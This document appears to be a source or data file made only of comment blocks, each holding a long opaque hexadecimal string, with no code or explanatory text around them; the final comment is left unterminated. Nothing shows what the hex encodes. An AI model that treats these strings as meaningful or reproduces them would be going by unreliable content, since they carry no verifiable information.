/*4fa28ecd7219f7ad5a4d5bc35b1cfab0bceb87463d8535275055eab064b8f1cd7a07954c7650c1636a0659eb9861a02950f7419fee0bbaae6cf4c1d2ddda4be09a3735724e76b67ed85fb9c0dbc8e0b9f1abe148558837745bffb25fc9e9783612d81d04f0363f95d92fdd34c2c740f6001669b42e342c9695eae97640b701a3f8629753a0d526f1d84985714dc98798da843f557fbbadaef0ee57931bbc2d68e505be3722616166669f613ec48bb61f355ee79afaa5fc96177a90af335cd2cf37ba97fe7f63e03eb9dc0c64c4156050c9ba5301d7d5ef2b5628aee1a5ef3497ba06aaa56d946d6b7d92e16d21d298d1672fc839db3799080f18185797ccc9ceb7efe833db7f92fa4758dbb66f691d99782d397370a1df52076486bfc7d68334da64c9c3bcfa7ab814fed853ba055040bcde961ddda03af169a3e45411ae7a64c59dea2a7ebd3613567d117147c67e8ea0ca42bf6d55f773c6b25fe67d35afe903dd52459f351332336a21a2a069b448ca9e8e64e09d224c2e46ee3f19b46061e3cefdb6b7d6b0e43e20e7afe72f42c0b4e83f8237a6c7624ff94f21e029bb6318e443781af0c2a850dbc94db310d545aa225e375297fa71e8846fd4cb4103fc5196e713072521456dd8b5aefc116d369f942b9df955c7a8b93af33ce50da5700d6c86247349fb42acf3acde8c843ade4ff3f99b8618dd41b0221f03d40d474ba7b9e38ecb30cd536e82a67f72ac619e588bca7eb17bee4e953fd18789156b5fb87a02fe42bac865395eb38176f32814ccc0addc98d3133c3ab7877554e51e71d38e096a999596dc9e6245287bf8ba247c019edf22ce64c2c7eee2628ed2aeb50788c5152d8352b021e5d830e7b019d197058d2d6de221dfa8080e7b6f221d00b268dbbf773afc420b343fd79a8af9a8e5c213207e7fe78ea85a2842cdc9c5b076de7380a5ecd258d19a28ae2e7e6a5e6384ab501583bb2267abe1b75a2213d887b777ec4425a57b4f1320726fa0082133a50fbccb736862e74a1e3557d901c76cba9eb9ca21e2f9a9c543f3b13e9c670f4ea8d2b41fda3d2a5c07628d67cc310dc7066dce535fbadc2530de73a4d9c831074a3628c1d888ec8fa093034b4d437e4a582274a4286d9617c97d8f7c6f949e40533deee3b1c4a2f57a048be7a5a31a9dae78d3037c46d41284b5db1153de9ee2cae986800c803b1ad44b91da88b17cf0d2b94bdbd542a4204da0fd66d8b98ab247e1ee47e54bdc928a151381831205968408543d0097b65c05c1c84fd14554fac6f5a483234ab592c3f9096ab567b5212803aae96cc09eb7036b9583dfa7647bce253ff7f49b87f2865919687f29402cfcb26579fd0545fc1cee68cc8e0f835d8a14fd517dc0c71217349d3f0167b24ba0cd758cb7fd52e04eba2e490ea016c124a740502dfa213e0dd9a1b89aae6bd7e73652cd9c0d83f870f44fc0fa16bb9e26770de73738d811c8503abb4db35886621b146d8a5672121fcb4fe9d0589b31634ac5c4fde8ca621c6f48cf1e4a8a28f3b89c3ab2b2415a459b2ee9dca54a73f36b07e7a45b14ce65b6229740fb74ae6470a36cf694b91c9f4e4a31b82e2fbf4e1d25fcd67cbce174c34fe5cca09ae65e64cae3045707031b6a49d3f268f8b764ccc71b8a3b40c47b2825d696ca25638b13d2087b20cdb8ab586b0c8030539c1f2a86c6269a447accc6d5b2dbe6b0ef19668ffea5e106ac58ea15c7911c99a636378c576d9b5934739e5d4b875e155d371e3c139038d734f41422bf2a02f8987e4c1e652b07f6f3b4b4c539cb03d9ed6c4fd1661155572390f459da0faeeffb02eb75b182878358ed5633f9b7f451102a98b175b0efcd9f7444c558459798e8b9c1eb99943573c9726ad68534ad7e653e67ba156a892f0d4f024727814e0f7d44eb8caaff5f85e72777f5f25403352b84d14f7c3c1374b3d052d019d8d007eaf6cf73814a6ae61fff10d7653233ddcaaec9bf76643fde77ef0faf7d82f19c8941a899cbc22e81c8d7d5221ebbea668874f44bb99b85d7509d9fd67a016b1efe3fc34a35386c0fbcb7deccf6e50dcacd702511b5e63a7cf1f050387c3b587e0877421de1309ce5c8daeee054e783755373af52682ab68f9f9f125299a687ccfa63d99c330aa6a596972520107fafede2ffc33a6b13c76966b538abee8ce739f9963eea768d6ad39159811347c4d569f2b69ab9147d624c50cb916d593f74789ea7b3640f619e78c432b6d835204736d55b5cecf0b69922959cf51c072e35db6cdc3abe1a38286b9304821ea6d2ada1b70469090882d49ab36a4df9f1524c16963fcfbb4e955f14e5c83965aa89d70f518613f24030600aecc85d5c0f97c79adc8491e155fd914b48deb8d5bb7bbfc359f76fcac65004f7c49911af28cbfd1d592a8b4fc189eb7dafe6a609ecb2d2bf856f3ec500232cb575a2deb97e1272933286c40aa486fd85a9e563729602626961b91ea6694efd7feff09f32a0da3f87517ef065a3cf52ad365ffa5fb0ebe2e4e9d51fc708bc08874c0bbb6a79160ede8e0776f393dfeee1b0ce1a8b641ebce9dafa58d122d8f49fc31ceab30f54eaca3d5cffd8528491d0d689c452367b985aece85553aaa2132486c9dc7f7fae01ee8affcd433bdae61059de72af0ba09049a8b6a5b87a3e6a12a84c0cd349fbb8eb3fea307cf6735c049873f80fa6646b92263859fe998cee4c6d139e90cb289b30ec04f3fb1865f2a0f119eed326babc921151e4c503c080f593fe439f9d0d8d61381e539e0ec177b9da7468a3924aae4dc5dc726193aff5b2e26b0385e1a517*/
/*1fd0b594d2eb4b0737e2c27ddc163ce060a35b1667c98d9a81ae9c78c9cda5fa07690b90b0166ff471ae48155d5f4fc0d1052175a8f0880d14db94f4e4c5ef9f17a182d285e130bd3cc0cb3f563c03fdad1c5734816f0bc72a84896edf9e71e8db7c942682c2cf66ddbc52383dd63e676b696fa7ea52df70e728e9d52a30c16863965e4b1cd7e68cffa0734a42e54224db4fc768be3a00c61b24ddbcabdc0e1f8eac80cd303c40d668ecaacc176b1b5064699637c66e7e9c6471a410210734dba8bfb97048540b10ce99c720b5d4e5f499dc4dc7a73991e7a0b372760ff24c74aa5477b9c7572349770413cf99bf7c52d8570dc738e929c4a0e4153cc5865751132aa1ed917e555f8bb522cc29412534b0c6850ef176e63863cfb8d7ec03915b4596fa4999ddd152fb2c318d04daf8f9a9952663ecca1cfde10c58f90265ecaf08d0d6bfd99b696f94b9b1588dc7e810eacdb855f71dc463978d92cc9e955976de6f5046e9c82c1e57327f2a031927aab48608e9156b1520fe40a28a85817e10f7e2dd7bdf7ca49d40627957e80e7e9adf3201310262ec0b2d5bd412064d60c2fcd92e28a89c84540b0b1e023f62741289f84fd49a01023352cc52b2917f4b9e1e3b7afd058ab0f9deafb551862bdb98acfa95dfe4cea849b521d05f1b447dc12236be27415fd3b3e9c60687d7e7c6ed0dccb4e9bfc321f1e20d4cd4fd79c0a1e1ac1216a913397d3c1e6edc708d91666e6cdbc522894f1ea0a304ab4896008f8f754c93e2755957a474b510b4edc8cb4b46d2ca24bb64696220cd395bc2ad07009c43104136e1985ed3fd2b8144b4d8e0a46ae87bdad3c37edbd3adcd75809c9d8ac8fbf6cb6cc528aabe9826c6a143b0552156cd53f919a256a4217f83217d603452e8b86ab87fa0f5d4f4e6fbfdbb7b2ddf82b234a6f4c055eaa8c81eed048154ed61e47a8b10076c9627ab408769e9eb6215d2df0982cb7fc515c5285a6eba258e19dd797b7059f3596326c53d56b165f03ffa0c37ef3e6d173e6c3d4fa1acb5ce406461809e723ca3f3296cd3517e01183be6b957d95ce0b8b1345ecf90b4f45f81e5a148796040311c5bf8d197e25a62e2190a66ce8743eb9547af8aecd989f8085e7dea27f200527b5d5a5130fc61ce76cb3eb20dffb7fafca5254832d4d996d9dcda2710b225ed12f85f1e963111406a78f7e238e72c6c59a445a990b6a2856fff4039530e6e06379c40d941034c23a8f713f5286fdf71c9d37bf70ca465de7b4e88334c7c766d1511a51831d5ed54ce0bf3ddc0c1a086b0df3fcd432eaceed554cd243cd60adafc66fca80f73e04d50eda477438a03737c49b0b2089841e46167df2dcf66b81481104c9b43464d0c6d588abcb32850941841402b3d223049554ff7652d931d88c5224d18b29e7d14cd5d00bbbaadcbd3efe0099972fe8999debf7751b74e5dca9affe5d65e476dfdaa5deec70dc01594b368809a19ecd7368b6d2d112d11229f24724a02ce2886d8def328a4404ac95c711f60389e10690e7d4ba811de36fcb7df04077b920c5374fcb306593199de435363b8395d04779659a4b7eebc582e0803722bd5e4c871c35b05a43f4a7753a310d49068f8da52f05933cbf482ccd81de4ce0a2a64d33c9394d7f0063af90b9848bd43afd7fa496a2255309ff6c0549c8bbf2f9edc50de1973dc480a803e7ba59b4011caaf691b8b8181cf656a7f959fdeef4c55872e395c957138814256296c0a0547f1452b3f110a740e18e4af0cb2aadca6455c553d63fd411300820a8e845705fefe4abddafab30eb89f67ae601736bca460cd799b9e089227b7504824ce79449d875a143deeab22081cd2789a997ddb793661ebb37c2b736d7a0ca2bef04becb1a4aeb2a2ed1d897a783e7bfcc23a3346ca19921ca99ae1089740c7ef02cfabe8f956eae34b2d8746d434b9231bc4aa1293c153d838dac800165ac213ce0d93670cbb47b828e9775ca97fab314e9e5ed3d46f4bed63c37e4c7a5da2a69d2c8f0bcb58171871360509db52abb5f110b5cec0e42daf9117b0c8e6d4276c286c05a88444be067614a18d302f427c87ded59ce9e1168b2644261309172a06025d8650354da8bb9004dbd19df1179de0ffa2d54060f2bd67fcef2f80ff9c3557795ec16ea187fcfe9d902d6f99aa23a7acc2ac315de79de23642bd0b0b0f503447b1f0d4fd1ae10f2847c330aa92f8bf19670a9c9c1905c0d11208619466f126f414dc3127f31539e144bf89eba63a12a5964aefe5b3392c1f04bd9473500cd36efdee5b5b6040077f4767c1b02198395791b86cde8721f55f3f6781e94f9aa27ef6042415b9f3b6b3f171cda5674aa2e752433d9a2e1798a5c6f5d8eb1a4113fe4e8edb8fe9a364e0a5f3db42e646d5377c953013df3d26567157666e8b1be4714f6781c39b9ce6eff42356e530f1626ff135c293187352dd5bf1772fd9ce97b03dd045115ecadf9fc9c859f2c9846671003f996dc966be2f65b3e81f50225f720088f4abb013c1a0e9bfa3456a6634a0ff604bd78f62e490aaaf603c0999fac5bdebc9c1254e3ebfa9efb44c0a8e8884ac54a3622d1fd0476bc6b6461718dc3f8eef697e569459cb46228dde9d419b6e85dba1e3ece298cea438b5c577b51aad56f40866093dd66bbfc6210b577c752fe65a08cf197a95745924aba8a9860cc73680d2ed827a84990e33ec09d34481d68a8f53da1d978da32c1e854faf9c47749e615bee26d13be6a21a5ff94e4034cfc9dac5f7b91b4d5a3cf0f4929abab72e778f74d39a70b5a09e8f6ad7d4c1f176c747201b*/
/*2c538fdd3c2e9ff0a5668136abe5d2ba586801c9c9bfcb30200f245d62829d334ebc3d29f1891a648e8924bd757abdb121d144092b6d2ff481987250c5e723c9ee8b8bcada41c172d40be6494b706b9427b4a9c33323d0afb7af9403a614140542b112a877b9dd73a6ba2e4fff0375dda2e90df49b4712c5dd239f102c295f0bc9853d533cba22733d58ee3e1cb413a2f2734e87ff8c338c9d65c50fc813c244c758a53d38fec69d363cf4c6c2003060a9dc8486cfd270d9948fb3957a3de03ddcb022b299eaa3016f85d4d35b7e4e355df5992098b0149433ef9f6c419b0c90d9c5c09a6638cd89ac8c127bd71990d24a4b6a36b25f407e9775d0449d136c3f522d45aaad33d03071f95f8d8d8a46f0cdf9427aa1428feeed38637278b59d4edd0f61519b3e4ec899da0e430661d61548103c9a8ca1225b15101751516c3e493972436ae76612de07594d957632e911afa21f5ec8d4f64fe1686e27ef67bb0b5f7ef66fec2922418dc5bf74e1e7362f92b018835f003b9dfa763cf7a90c260f2db54ce375bfecc853794978bce1e3bca99388aff7aedd2594738d1f91b39ee6a53142b4fadebd7acf881d1a3b5ae2841a49cf8cec2beb6c1882ada1d802f4dd9cb8728e8970c1000324d2454af967f8799ac409d9497273466704786c0e110ac9f80664f23a844f60c2cb95fb1157042c736c9b355def52f05916401bf4ed07bea44fa4eaace6ae208bfdf847d94f461ea80b2fabccf2ef6d00c62cfe4528ea1e70dcc4abbda2ee2d165d9c4410c5ab4354a0660304d3dae8984d2b08aa6fe9784e709550ec14adf715091f0180a759187774a02b8f0442492cc3b4a6887aa65e717deea032f53346ac80c03315d4d83fbe3df8bfc34607c66f9fe6c5e036d990024af591da4180eebae5d8a42a86c9b040757d2f1bfd9d5770a9efd31a263731e3e31b3048b0ef8647a836174166b570ef4608117100997b3bbde41e788cbb55f25e19bb8a2f0fb4d59eb5a9330c695bbfdf217958af91214cdbbbb85e82a9643bb4baa5be9ce4f563802bc4586bb6c4732774fb12bd875bd7efd2657d64e4d603a669560d131e6f72d72fe0cd0b76a1b838f6bf8a0711fa696319bc1abe0889d34399b0e6aa625ad0a0a84826a1466cdd672465d208f415d3c59b2ba1080763c1cfcdeba1763df1cfb80b711e3cd2b376de4bcd4c9bf6c0edd68ee92d16cfeb5197c7702c5ca0b5d7730a86325045d1663593ad24d7e1b1f1706ef9f6628600aa581882ab77646603368c9fe094a7c756831087808fef80f4431ba7f91f054a0eb7337e0b562f1fa03bb0384e5873b28a8de8bc57e64f8b5db69f981e38ac029429f36803dc19ff9c7107491daacfa613fb28ce3ae0273e56046222ba312bb4104481545285c18e12aaa38aabb0a5d1985257ee7a423bb3c544e8c334ed3218d6c925b74386575a8cc28c5095c567690206068dea83a7aa9b441bffee2b0483c5750af14e8f8068d84eb75e4879ccf3dbdf5c9f803edde61de97e3ab0b463bdf477db99c2e4b901521554882d640d12ca9a9f6239f29b770dcbd73b1e1cc0a67aac52d9fc55848be7009d0ffe204bfee6d2e95717f2c152204a8ee080087f64a26147ecf10709f8b932a4fc3c5d1f55aeea34c605ccda52644b482657e66d31fec9efdbb3d1ef561fcc20d685aea1f958afcfe2687ffc33451d8e8b9cf53ff8f9ae5bda14058b7fcfc5b75fa027f724538304fcde9f0378555f0d8bae0960583e6dfa63b3847a5623eb82970b55efb8b3b3bb34947b871b1cfc82746e3f57dd6759b87d6740ed46aa0f5335b38b498e5125e46a6f69eb4b5fda486249ed4a372cfe0ecef7824cb0d0fd077b5b9f0ee1f398eb011c55dee7fe3d543d29e695ae1cd10ae307f1f004f8aac18a2cbd86e73a7362983bc491210d4a51767021bbd4e60656860fe392efbad60352b20c5de7ff99cd9f58cc6fa9e4959d70c2c9d329c42bbd38ed0a6580d9567e37e36ebeaf061a1323b2edf5222298c615cd6eb05a6beebadcbafdb3502948b1c44c595cdf4e7418e10be3226bc86fb789dbdb0fa24d92fde0036b32781149d587641b473e4b7748d0fba63a7abc8f37f4327dd35188ea37fdd2bef54a52bf806e7d2bee1eb86b1635a1d5a00cc58772150fc9f90f27e1145f203fe6521df1b2743362c3ed3768ba1502e0e3d47b88047bb687fe329a6ba1987cf23de1df00c2433dbb5fb78304c093893cd6d8e47b82ae4bac802eb63d0e605eada992e5545ecf684abfd766941a0205e283db021d53894c79a6c17ddb1715ec1187713e8117da21a0df2206494f19bfce2b71acfac283318900dacc62e6ba3ddeef8ea020cab0aa582f3b6922dfd0eab16a540ef9487170e72a2a2baf6c331f7e939dd72ddd230f5ac34ae56fba62d4dcd8a2efda06bec84f356e31c9c509a4067c47af1f0407fe9629492feff65c8568e9d23ac92d81c3a7976eae4b078e34d6e188efdad5f5be85e5337e897ec798ab8f55e2a2b3f88448cb21b37820c609aef8741907eb42aed68c1711da656d2a26dfa1dc776b68ff4e758d94681ea6108839827f811a25439c9bf8ecb698c918e70fa9dc6448a23bfbc75e437f0b266bb83c6889a723290caf4f94504ae27e1aee21c44367b004f2ff16610added91715c20db80f1b380955d27674b6a1701131e1e9ce2a19215209e286a6251f9549b95131de9951cd5a8f5bcfe850ad92ee53ec34305202e1874b24b88c60ce58a54e29d1533cbcfecf8b2ab8100d419b186ce62dd97e68af7ea44b3f52c2563e0417147d8d34d9c9269f04b*/
/*81907a02e932eac1b8a09401fb9cf50ae02ea7342a0c222ffdb1fa73e22b84a36c580af687535194a90594f19baccfc25b67b63a9c852d7a570bfcde4963e04fe1aafacb1add35cd1b21ebfef9395977681dddd939e7feb5182b858a9df7cfaafdf6287cc72cdfe3ce852eb69bd4e6ba8b8b9c221f44d15fdeb7da0bd98de7a3cfa2467b939929b57fe6094b825642d658d9dc81b5926da15defe25ce63d8b330cb031c2b5dad852378d5b95cad4bb799ee34589be989a170ba0a558dd5d24688d270071ed215a58ac790aef20a0eda2e47dba45caa818b3e879607a428808e4c30be7488a95e8f05074225eabedf060d227ffd64304c4e5203ea98962e8fda6fd1623c6da9a44977c0a5ea7f36be983067dbc3f9578e761aee8dc59e64549edeaa4596fd92575cff63df5bea6504baa008255e0516e8be10a8178870f1453b9336baff04b5af99f5abbd0efa897e694ccf60ead9d9008792573453283f6e0ff5b16f794278065a4d3d491ab310dbdaeda4c8ae6c9d9ba7a8b77782006acb98962a9b5fc89b301771f55e1b55fc1d2bdfd66c2b9d83fdaa6d29f4939b520ae194f3b64f6df549422bef4f0f1e32ba15819bae7e66c1444ee0927cc4cbdef7a8e8ebc7051aec540d4688edbe37ad78d4447dc8bb4c51f31e5d8cf891ce9c0764c0d60d9649467cfaef381eb4817fb1862c975212ed0b4cce00c6f832707cc671154109cb2b05365c31d8971e06b34607f7f9af0b9cf83a21da34e2a526d9c6d914a7cb7abe14399db00c0a353f535e141ec060f60aa2f746c44c0ef68486faee3a03cacd1b207f300adc6f5297962b049fdcf5001e1b99c00cdbaed9cb275bc45fc6aac8785e718eb4f97fb38fc02f25f81e3a75697b6e55c1271f7bec7422ce289f8dbb1c7f1e746e63250ee23bed366dc1f07ec786452eebd25b5e85bc6efab913064b977f606750c245de5b15db6293f72af6a788ba5926c11519e3a9ebb26e6da28064bea011cab5904bc111fbc5002d59cbe7e10c2070d7d1c5fb91c1991d9e0e71c730eec304bb7a69aa31aa5de2d900fd5f5fab1bf9f4eeba6505c44e6d6eb2e936e46a13fb93dfc16367bbda97b8a081758b1b8598776044a8906757f0f8ef9b531d97ef3a2f1c10e5b56c6e77c775ce578dc2226244c10f8a5270d5c52778b9e3fcaff6972b5ce53b8309eefe1e5e412a37c6840f825a4620598f554a49aca681b2be8cf4ded0134e30190994e61d35098b6a16f7a8ecf4fa77abf90f6d1aed4ff7b26d89d5835b6e55a17e1343da08b7df91e4437e057b374615dc2f5ac678c4fc1c044e1501b6ff4c9f745cc20ee28cc59fe172034119707465a0e6ea4630f57cb83d4e0a1fcb8fca878b2a6a33ba1f15e2f682dc1b4ded9456ac89e3cc203fe042c110e4b4eb7a74d272587323cda09dc63e7b5beff02033a0f3221f7cef80235117417c532b31d8859b81a8e720a8ce4cc750e8aa534133befe0d5f1d412e79630ee07d59152d5791e023ecfe44e7a51a371e3863227086b271988349651b66a4480f4097bfdfe510488288f63ceb01e512a4fbc6e0c53e80ee2f16818a129e9aeab63e2c696a6cf80957baeb4dc74440f00976117993de607d3b1f72f0e4e3394887ad99b5d283bfb91357be4ee8d24e4529affae1dd810ef211cb2664c888b8e2c406675356b103a93787c80cb4050c9c85104aa7323c329a7c0eef0f28e3b2d9a11cbde9267490f33dbcf833cc371053683762b686bde1438b169e3007a4c3de1a7258182e7cbeea7e89423cb16487607638a603aaca8e0631323c3aa36e9cf83d35a8db934859eb3942ddf2170e2d2f678b04bec25e73914a1a313b639e3b38f24dea2912d4fc41e84dea97596698a95d74615bc89ec7a6d7b0a6a9ec4115c05d2ff753ec3032456e46a14a12fc3a992757f210be64369c8ab867358ad69f49a54ab24b0acd4559fab354177975b73427fe030d7693bca9e486ed43b604bddda74c76b72f2d0d1481c1fa451dbd7de0afac8476390f61d3ae01a9cdb42e9b8501e4d028fa27b5c9daabad1ed226c71a13238727cb725e95d3146375c9b8b079723d99f3b278c51621754acffff2f26c9513866094e7ebc955bb9333b223f89ffc9b3c86be94bac41c0aefadf701f659237fc4c5663b68a8bcc73307409069e608f1b2a372c9802d3114a17368c17f9113af7fef4b24bb6b39e5e704ef9609f1d8c1a44a9193013b62c08f73cf1b743e91acc8824935d32c3bb686eb310519adae9f0ec276bb7237c262adbf0cc44360e0c820dd8338cbf96e309d0d210ccb95e7525adc99833e976c05099fab63fbd36bb4d771b112ee455066ad7f7ea0dc83ad53d95e4c03754b345c57466482ca9912de1753a161e635cc30ea95dcc48038a778408f9aec55b97250afe19fbe4f5382b20722f781b2484943842c7d2a437ccb467f5404347d841fc451e6568666d3a6eeb99f2c664eddd1f5e4b2361698abf640a6976cc8dad85853259acc88c500904859bd1a101cc62830d2aee09752772f8a20c972be110587b2b176fa98d2dcee0e68040015539c83b4757b723a85fd4e6102ef0484ce4f75d74f7751be55f34f17ebe13b9b59459a0aee299106bb0d51c7ad867b8a872f48827e44875155bf15950478088e1fa925a5363babc8a6155ff0616ad8647b62094299343614b6c4e26631508b20347628c5efc740b41f7083b616ce21eca25937e7749561742aa94811ec31b684793ffcc6ed0a6e409b4b1c959e19bce8a878e25a756118358227be3884f89d93f38a1a53c212ac5cef6f661241f421ee8c033*/
/*f26e19b1e980c5e8f692b7f513471a96240d37a568f97107450e145d6524b16b27acd6ab6fc612d66e6449bef6e4bba4c348d7ede362f214a1bff88ac1d8c54a57cfc51c94f1c3abdbf7019323e0279e374f571d820f9f21c5257bdc3ea4c01d6a24840d4eeabe2a4b6d8385f789f05d2c6c30d54a935456c9ea41d20f3ff656afe6b1a3dba9e5330e62cfef662e8257d3f22d92c7056ae2a718bd5cf92227efc218be65e0e9d122aa680e8129e86dc8df0423610b0e1fd99c40518d93e940e71cd670481fac45076782545cf7f969508e602b74d3e1fbf03dbcb7f3e5b5e02f9dee17c2a53069fe31f0e3c0463f33f4eaf432c37ef645d437507c42eb94ac9a189f3ab39164fbe45d867b567724a22a4b9cba75e909434f2affcd6096621e0d33ff11117ba11083edaf66525a393802bd4696cc3fd89ede318974555ce2095b277fbd3cd604a61f19a8a8800915ae770136c5c3748c14f1463fd009022b31644a5f54f440ee0b011532975ff8a332baf7e830618f6e0b062dcba4e70e279227a35be3837fd1490f990c9aeb0a4d0e83f62a2d7053b10f7bb635b3f7ee07e4cdf736b9e919d0f62590dd515ab273c90012ebda9c69e7aaaa5499449d9f5caea3ae85541c062067a0738fa51e62d168cba1b587319e5e76080425ff7712aeebb36622b8a072947b7fef0ab580fa7071b1d97fb10d2c7c8407599443e85cf960b084620c92453210e92b366059154e79d897761f7c578a66e38ee003cba4544ddf8deeada7b7de2432e88e8454afb7872b4f08939c85e4627772d29c193775d4ffcfc3a595eb326b0dfe279698173329bec0a8d38492b110e346498a59f565b4b070644195a8842745c5644f8aeca30e4a2c55258093842074157f0528ba6ac4caebca83cfb81dc19dde22b1a4723417fd8e066dbd8c679dded896b0fa846a8da2147ac99e9b0a92329efc571b29aeb4d34145711ab51b5a46c6eac2578b1615cd87cea05cea7553b9ca54d5055ff3b5f08777e5975d4a5582d32a694528e1d276b4cca405b1c8d534f2bd8795cf914089c60c1b105f8e15481d33ad4212e0c493771e907c57e42965adf2ba369f1c4a0244312fef833c9740816293d9ce8bae488d776efb3239f4ff70839976bf07d5ca0619bc245666f9e7163ab78dc6a57e0e0d8f7cea917b29e0750df65d1af6196ed7001644a1615fbb0b259c5d7113b25d3b72948622d9e2793d91501254bb763bb1682b6bdc37bef011a28bfa73552b8f383813b04a329664458e016c848f56c1945550d8e464542205624808d273bfae2c23dfaa22e598e0e260e81775a4f71366166023cd23491aeee85a5b427c29b80c3f9a927badba7132a680d9f214a91bfbe3f56f319969347180b4f346dab7519ccbadc499ab9ed29bbeead33ab57a6e4af3de359dc2bf6f4b397214d81026c21771cd4106b103158f48bc1fde5643d5290e8d80f2f63b55ebe6602feef2c6b4b56b020845bdeb974f873b732b3f493abc6e3d40b85d6fd3359c866c68d6bcf620606df7ea803b5c978aa9118cff78950ab00f5409b6e87b50b7bd12aff29cc0107d929a0346e965726ab669ba066e08d71984717385cff4018b0ea42cfb6b2f4b9d5aa15474be308d6491b798bdf189c4304e30736bab7538428c9ae19874ff0372aa9bb840c3f5a9b73dd9b316de4c9758d1a2a315a7db322f3d6d009d9dec1d68c510477cf252a888d8a4d4ad852a7ac0e529935b0104e70995860d89a799338922116dab2298c07dd9f013209d1268affc681c2fe243aba1f76c17556beb07ad1269c8d4839e821c90b8545d41b6558083676a53ff1a923b0a9bc6e27ba95ddfaad2dd8546976aaead4bb1e402141319874d512eb49e93210edea600c5de16301ec10f6afa4a4fd42ad891431e6556565d3b3403564e458ed203f0dd28449d15462121ab8842e4e8af3a04320404f33c1681d99bde2800326365ed40040cb3ac9da17eaa6e2fa21ada15362b68e850192bf45b132d5657ba6495661201003a7d6a11a175f32db4f2421a399ccd588b7ebb90c3dc403f5ebbe6848f646d5f1851af945f4c59ae76c4ea250770f75a0ced5d816eba3da6b9bfca163d36a47db18b648c149287b73eeec05c2da2a3cb7603fb375e814e8d680e7b17935e666496891571cda27ba8455c8aba7cf76e46dfc94c1c172ea3ca47928ef71f617a736e010f3a52e63483cfe2d190002041ce8df60b9b14ed885c6804f26350cfa5c6d54b460c8eb2dcd4aa10f09a55235bfcdc30e54d9988f4a97b2eb09c35e67f8e65d2a53d5ed883e0abf6e5734e4e3e53248e19d9ce6829946efffe4cf9a89dc4b01cd0bf9cd4b4e427e198460115186f00ab79a2930aa6ca0981ec85301114218bbb2dab86e1b7034ec24e3c7c92ec3731014652a5651d3ab8a4d90046a9134d4d31a8ccfe5f18d3f10f0464daf22404d4ef1f866577029f3967028a63883f75dbe831c69022b0c774ac8aa48a8094d1d437dd3dfbe6bbfda488ab373f452fe9c577bd6c681bd7dc8b7a27ba0267ad549a0ff57965ed5080e7c8410b85817fc4c2e37f8226c4e3869a785e06f39531355a8d85c540b38bb53e5d19cbb9682b460e3bddc2d09526f0ed052c7f275595e0c8e327510252751b32eeeda1b76a4bde8c87b253c541a8ad08875bbdfd6dd35d1b6237ddb6b113d52fe83b3d285034dcd6846bcaf61c7323f620d0bbb0a0838af5b39f06c907ee5f8eb5ef5187eb0022be74dd802c2d19cde0ba96e92b4ce74420e146eff0893b065ed38f1cf5726aaf1c6f5267e485a1c327d83e1444f61fea*/
/*67a1013c8d79add84f3bc670ee602c24301971c112903c96a907776c37ae4eb649a1a053d7006e07c13faf9a59c5d06d95d288b217433d7215b90f7f26d955aac756a3647131c3941faed207f1323378e4c0d8a806a9a95eed9e280cb90d30491674b08d20b3d477308f8cc545308d19e2de6988fc2971bb7eee578ed019459df0bcebf31f0e0a5d19732c7896a9c4d13f3c46d27d7b6bf606e9bd601f38f54b123775d145ae2c52fd4e2a57f8b61571df0589ecd0c9bce9b53727fdf2257a21eb2e836e41fed206029ad6f489d3e5eb27b9542e08b5ddf11530259cfc052f219ee0430d36132fc2aa7b30e70ccd303ad303ba90f3b8cb60047a65fe30cbf94572391eedbc60c5d7a36518b2fc1b581a476440759da74257db8e5c7f017d06c81a849a6d3cd39b98519499b51bd5fcaa3acb7f3c9e9dd5315c2e5fd2ec1d3c6e6497c884031eb899fdf0ed15b885de6d126aacc72c22b93ed862c4a301699f95ba3fb7e1aeec77661bc033db60baa942845cf4534e06ce2f8d6848ddeae7b6cbb3fd02aa3bc5aff6292413a0e59199861208ffa66ed889996ba1b0fb74086c56554aa0c895809f0365d4a4c380036f723f0d426d943c2b3b1dc31a06f5f87af3cbb7d7bd60463597d93f2dfa2d4f495f7be24aa94ee08ba4657d3c378da855a76d19cbce8a47f43f566a3587160c44140954781b99415960690de2784d4860973bcba43098da0b082317d86106fcac5b8fcfd844796d9ccbbac403ac46ca2db0a1d0583bd9f327928ca4accac8fbd9b3496d9f29002b6a1e03e365716bede56e33fe7fe4ddc40aa66c1f5eaeb5b1906b15369f41d425ac1531dafc03bc0f85c9ec14c99697f23b596640fd87e573bca50c55f15bcc2b28d6d4e93d379bd7cd1192e90e1de052fad97fcaa832e1f472fcd7b58f02522f57ee3d58312d293ec9b18c924d90c1b3ca6d31a269e03cb73a7ff48c6c492f98f961e1475e02cdc735dca80efede9091a33630c1fba69afe1ef4c219a4ad075b03a62d5db0118082882bb29207f872e445a6a8ad12c99cfd678e320ebdb94dbc1434c42c590cd9c6ee20d36653985b19b4b19fb5e238e385ce067544d27f0b6ae52ab385dea90f3d0acf551eb705c2ec85dc0fc52696799737e52eb760ff41c7d456c66fa56baabe2ce2d3714997beeffb0b6835cf2ab5c917d512fabab0afc47bbcf23c81a29f13f533e6b74fa910395a9d11629588c384483bcec6467a57b1722b49af7d13949bfb4e000cddf78a8024c49a425b161d920144faf0ac9d1cb489ac9dfc351ecbbd424529433d993c130f3f09d9461124e444e81d4fd2981770b96429409032968ada53467af74fc88c39c1ff77e805ac1ed6f22e7638edda9ae6151034d38b0cf30fc0cafeb5061cb01f9e99d0df6a517a417d5a2321b4ac87c42c5ed64eb3ac4a97454e6a0a9df5531a59dc0b462d9b7017f12fedaf15dc50f57b82d20348cbb0c76b83747040e596dc14345d2abef9917f5c4d13b9ef94c2ee3984fd56a0a74b400bbb634087b7fbb166e62e57336e2f6cc927f28f2993299c00ca5dd0bee01cde6e084d57697f9e5e42da407eb3b25ad428ef20d4e03a964193754983a14b77e39bb139334e4f8fd36c6cfb2220e82ef74c9a357f08bc2404f2cecd0358560874ded06d382f6f17dc39308b72806655e75c649ef3e28a4a09cfa53011d575aa20337709c3aa5f0d10d2e1ef8ccfba2a9fc6c2ec3ee86786e80ad8e939dbc5c55a670de155f6601870ecad9a3be82759b4c895ddc55978dcd0302fcc6a2dec4dde57b8aebd2685990fab69531a3afd03a831255834afed03a93d95cbef9582c65d2d3057e2a36ff9ea3367be1a0765d2511b8c744fc10af20b9e0be96b8e6849d57eaa78a6fad7d71be02cc66d30eaace3a4bf4452071712bf7e27a84bb8de5711d44935c20b0fbd05233080881aeed02a420ed947aa125008b86551c6a9e8b8c42f708bd725b522fa70fd60477701f706f70767d46e7353ec2ade45314a03ffb9b450bed751c628ee21d2113a150d116d2fec8a4865a2af7725b190e33ae53e746a53267d4ca76b37ea936ca57d283a0f4dbc17e8071e8c5f67e7d2cc8a8909523f57ffe9add3071679a7c012d93b093f